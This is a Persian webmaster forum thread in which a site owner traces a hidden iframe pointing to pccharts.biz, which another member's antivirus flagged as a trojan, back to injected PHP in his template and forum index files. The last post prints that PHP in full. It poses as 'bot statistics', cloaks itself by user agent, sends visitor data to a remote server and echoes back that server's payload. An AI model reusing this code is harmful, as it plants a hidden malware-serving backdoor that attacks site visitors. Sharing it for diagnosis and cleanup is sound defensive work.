مشکل جدی در قالب سایت و انجمن

[minoor 3]

با سلام

 

امروز متوجه شدم موقع  لود شدن سایت و همچنین انجمن

اسکرول بار خیلی بزرگ شده  وقتی دنبال کردم در گوشه ای از سایت به صفحه اخطاری رسیدم که فایرفاکس موقع اتصال به سایت های غیر امن نشون میده.

 

تصویر رو ضمیمه کردم

 

همچنین نوشته که در تصویر دور اون با کادر قرمز مشص شده این متن هست.

 

<iframe src="http://pccharts.biz/OFxNei12e4S113fF00Q2l0B7me0iNIH0RgxU141of0Uscp17vKG0Wbzi0L7nw01AHD/" style="width: 100px; height: 100px; left: -50px; top: 0px; position: absolute;" height="100" width="100"></iframe>

 

 

نمی دونم شاید ه-ک شدم

 

اول فکر می کردم مشکل از قالب سایت هست اما در انجمن هم این مشکل رو دیدم .

لطفا راهنماییم کنید.

 

 

این آدرس سایت

 

این هم انجمن

 

تصویر هم پیوست می باشد.

 

و دیگه  اینکه منظور از inline  که در تصویر مبینید کدوم قسمت از کدهای سایت هست

 

با تشکر.

[محمدحسین میری 3,094]

درود بر شما

 

ولی بنده مشکل شما را مشاهده نکردم!

سایت شما و انجمن تان حالت بسیار عادی داشتن و از آن اسکرول خبری نبود

[minoor 3]

خیلی ممنون

 

یعنی ممکنه این یه ویروس روی سیستم من باشه

 

لطفا دوستان دیگه هم  یه نگاه بندازن و اگه زحمتی نیست با عکس پیوست مقایسه کنند

.

و مشاهدات خوتون رو بگید

 

بازم ممنون

[مصطفی صفرعلی 2,891]

با سلام

 

نه این ربطی به ویروس نداره

 

inline به این معنی هست که برای عنصر مربوطه که در اینجا تگ آیفریم میباشد id یا class برای اون در فایل CSS تعریف نشده و بطور مستقیم در فایلی که عنصر مربوطه کدنویسی شده ، استایل نویسی شده است

 

باید در فایلهای قالبتون به دنبال تگ iframe یا آدرسی که لود میکنه بگردید و اونو حذف کنید

 

اگر پیدا نکردید ممکنه بصورت کد شده ، کدنویسی شده باشه

 

کدش اینطور که پیداست میبایست در تقریبا" ابتدای فایل ایندکس قالب یا فایلهای دیگر قالبتون تعریف شده باشه

 

موفق و پیروز باشید

یا حق

[minoor 3]

درود بر شما

 

ولی بنده مشکل شما را مشاهده نکردم!

سایت شما و انجمن تان حالت بسیار عادی داشتن و از آن اسکرول خبری نبود

 

----------------------------------------------------------------------------------------------------------------------------------------------

 

بسیار ممنون

بعد ریستارت سیستم من هم  دیگه این مشکل رو ندیدم

خیلی عجیبه

البته من روی سیستم دیپ فریز نصب کردم

[minoor 3]

با سلام

 

نه این ربطی به ویروس نداره

 

inline به این معنی هست که برای عنصر مربوطه که در اینجا تگ آیفریم میباشد id یا class برای اون در فایل CSS تعریف نشده و بطور مستقیم در فایلی که عنصر مربوطه کدنویسی شده ، استایل نویسی شده است

 

باید در فایلهای قالبتون به دنبال تگ iframe یا آدرسی که لود میکنه بگردید و اونو حذف کنید

 

اگر پیدا نکردید ممکنه بصورت کد شده ، کدنویسی شده باشه

 

کدش اینطور که پیداست میبایست در تقریبا" ابتدای فایل ایندکس قالب یا فایلهای دیگر قالبتون تعریف شده باشه

 

موفق و پیروز باشید

یا حق

-------------------------------------------------------------------------

ممنون از اطلاعات بسیار مفیدی که دادید.

 

فقط چطور ممکنه این مشکل و اطلاعات بصورت لحظه ای بر روی سایت دیده بشه

 

ممکنه بر روی لینکی کلیک کرده باشم و اینطور بشه 

[مصطفی صفرعلی 2,891]

با سلام

 

ولی من هنوز دارم اون قطعه آیفریم رو میبینم و جالبه که اینبار محتواش لود شد و آنتی ویروس روی سیستمم تشخیص لود یک تروجان رو داد

 

بهتره به جستجو ادامه بدید

 

موفق و پیروز باشید

یا حق

[محمدحسین میری 3,094]

دورد بر شما

 

با عرض معذرت خدمت مدیران و دوستان

برای بنده مشکلاتی که ذکر شد وجود نداره!

اصلن نه اسکرولی می بینم نه ifram

!!!!

[minoor 3]

سلام مجدد

و تشکر از همه دوستان

خیلی جالبه

روی سیستم دیگه هم که الان تست کردم ندیدم.

باز چند روز پیش روی سیستم خودم بود تا همین دیروز هم بود، اما بعدش خوب شد.

الان هم دوست خوبمون میگن هست و مطمئنا روی سیستمشون اینطور هست !

یعنی چه دلیلی میتونه داشته باشه ؟

ممکنه تروجانی باشه که روی بعضی سیستم ها فعال میشه اگه اینطور هست، چطور روی کدهای سایت تاثیر گذاشته ؟

[minoor 3]

?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( '').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }


    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

 

مشکل از این قطعه کد بود که در تمامی فایل های ایندکس  تمپلتها و ایندکس انجمن نشسته بود هم چنین دسترسی این فایل ها 777  شده بود که با ار اس فایروال فهمیدم و درستش کردم

 

قطعه کد رو هم حذف کردم

الان باید منتظر نتیجه بمونم

 

راستی من تنها این مشکل رو نداشتم کافیه قسمتی از این کد رو در اینترنت جستجو کنید تا به اطلاعات بیشتر دست پیداکنید،

 

ممنون از راهنمایی هاتون